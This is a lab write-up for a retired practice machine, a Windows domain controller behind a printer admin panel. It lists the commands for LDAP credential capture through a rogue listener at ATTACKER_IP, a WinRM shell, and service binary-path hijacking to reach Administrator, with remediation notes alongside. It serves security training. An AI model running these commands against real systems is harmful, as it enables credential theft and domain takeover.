Return
Summary
I scanned $TARGET (hostname PRINTER) and found a Windows Server 2019 Active Directory Domain Controller for return.local, along with an IIS-hosted Printer Admin Panel on port 80. The web application's LDAP configuration page was accessible without any login, allowing me to redirect the printer's LDAP authentication target to a rogue listener on their own machine.
When the page was submitted, the application connected back and transmitted the service account password in cleartext via LDAP simple bind, yielding the credential svc-printer / [REDACTED: recovered credential] That account had WinRM access, producing an interactive shell and the user flag. Enumeration revealed svc-printer was a member of the built-in Server Operators group, which grants the right to modify Windows service configurations.
I used sc.exe to replace the binary path of a system service with a command that added the account to local Administrators, executing it as SYSTEM. Reconnecting with elevated rights, the root flag was read from the Administrator's Desktop — full Domain Controller compromise achieved.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 53,80,88,135,139,389,445,464,593,636,3268,5985,9389 -oN return_scan.txt $TARGETnxc smb $TARGET -u '' -p ''curl -si http://$TARGET/ && curl -si http://$TARGET/settings.phpExact commands 2
curl -s http://$TARGET/settings.phpcurl -s http://$TARGET/settings.php | grep -i 'ldap\|server\|user\|pass\|input'FixRequire authentication before allowing LDAP server reconfigurationCritical
Exact commands 2
sudo nc -lvnp 389curl -s -X POST http://$TARGET/settings.php --data "ip=$ATTACKER_IP&port=389&username=svc-printer&password=&action=test"FixReplace LDAP simple bind with LDAPS or Kerberos to prevent cleartext credential exposureCritical
Exact commands 3
nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD"evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"nxc winrm $TARGET -d return.local -u svc-printer -p "$PASSWORD" -x 'whoami && hostname && type C:\Users\svc-printer\Desktop\user.txt'Exact commands 2
whoami /groupsnet user svc-printer /domainFixRemove svc-printer from Server Operators and apply least-privilege to all service accountsCritical
Exact commands 4
sc.exe config vss binpath="cmd.exe /c net localgroup administrators svc-printer /add"sc.exe stop vsssc.exe start vssnet localgroup administratorsExact commands 2
evil-winrm -i $TARGET -u svc-printer -p "$PASSWORD"type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http recon-sweep-discovered |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 08:34:42Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: return.local, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | unknown recon-sweep-discovered |
| 49664/tcp | unknown recon-sweep-discovered |
| 49665/tcp | unknown recon-sweep-discovered |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49675/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49680/tcp | unknown recon-sweep-discovered |
| 49688/tcp | unknown recon-sweep-discovered |
| 49698/tcp | unknown recon-sweep-discovered |